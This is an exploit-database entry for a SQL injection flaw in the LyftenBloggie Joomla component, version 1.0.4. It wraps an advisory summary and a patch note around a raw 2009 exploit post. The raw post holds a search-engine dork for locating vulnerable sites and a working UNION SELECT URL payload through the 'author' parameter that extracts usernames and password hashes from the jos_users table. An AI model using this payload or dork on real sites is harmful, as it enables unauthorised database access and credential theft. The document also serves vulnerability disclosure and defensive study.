Joomla Component com_lyftenbloggie Remote SQL injection vulnerability

vendor:

LyftenBloggie

by:

kaMtiEz

7.5

CVSS

HIGH

SQL injection

CWE

Product Name: LyftenBloggie

Affected Version From: 1.0.4

Affected Version To: 1.0.4

Patch Exists: YES

Related CWE: N/A

CPE: a:lyften:lyftenbloggie

Metasploit: N/A

Other Scripts: N/A

Tags: N/A

CVSS Metrics: N/A

Nuclei References: N/A

Nuclei Metadata: N/A

Platforms Tested: Joomla 1.5

2009

Joomla Component com_lyftenbloggie Remote SQL injection vulnerability

A vulnerability exists in the Joomla component com_lyftenbloggie, which could allow an attacker to inject arbitrary SQL commands. This is due to the lack of proper sanitization of user-supplied input to the 'author' parameter in the 'index.php' script. An attacker can exploit this vulnerability by sending a specially crafted HTTP request containing malicious SQL commands to the vulnerable script. Successful exploitation could result in unauthorized access to sensitive information stored in the database, or even full control of the application.

Mitigation:

The vendor has released a patch to address this vulnerability. Users are advised to upgrade to the latest version of the component.

Source

Exploit-DB raw data:

#############################################################################################
## Joomla Component com_lyftenbloggie Remote SQL injection vulnerability - (author)	   ##
## Author : kaMtiEz (kamzcrew@yahoo.com)						   ##
## Homepage : http://www.indonesiancoder.com    	     			    	   ##
## Date : November 11, 2009 						                   ##
#############################################################################################

[ Software Information ]

[+] Vendor : http://www.lyften.com/
[+] Download : http://www.lyften.com/products/lyftenbloggie/download/id-10.html
[+] Description : LyftenBloggie is a blog publishing component for Joomla 1.5. LyftenBloggie is both free and opensource.
[+] version : 1.0.4 or lower maybe also affected
[+] Vulnerability : SQL injection
[+] Dork : inurl:"com_lyftenbloggie" / "Powered by LyftenBloggie"
[+] LOCATION : INDONESIA - JOGJA

#############################################################################################

[ Vulnerable File ]

http://server/index.php?option=com_lyftenbloggie&author=[ValidID][INDONESIANCODER]

[ Exploit ]

http://server/index.php?option=com_lyftenbloggie&author=62+union+select+1,concat_ws(0x3a,username,password),3,4,@@version,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22,23,24,25,26,27,28,29,30+from+jos_users--

#############################################################################################

[ Thx TO ]

[+] INDONESIAN CODER TEAM KILL-9 CREW KIRIK CREW MainHack ServerIsDown
[+] tukulesto,M3NW5,arianom,tiw0L,Pathloader,abah_benu,VycOd,och3_an3h
[+] Contrex,onthel,yasea,bugs,olivia,Jovan,Aar,Ardy,invent,Ronz
[+] Coracore,black666girl,NepT,ichal,tengik,Gh4mb4s,rendy,Jack- and YOU!!

[ NOTE ] 

[+] Babe enyak adek i love u pull dah .. 
[+] Setelah Bertapa kagak jelas sama Om Don Tukuesto ... akhirnya nemu lobang :D
[+] M3NW5 Ku tunggu di kotaku ... wkwkwkw

[ QUOTE ]

[+] kaMtiEz -=- Don Tukulesto -=- M3NW5 -=- 30 hari mencari AuraKasih Ntah di mana kao sekarang sayang ..
[+] AURAKASIH telpon gua yach .. hha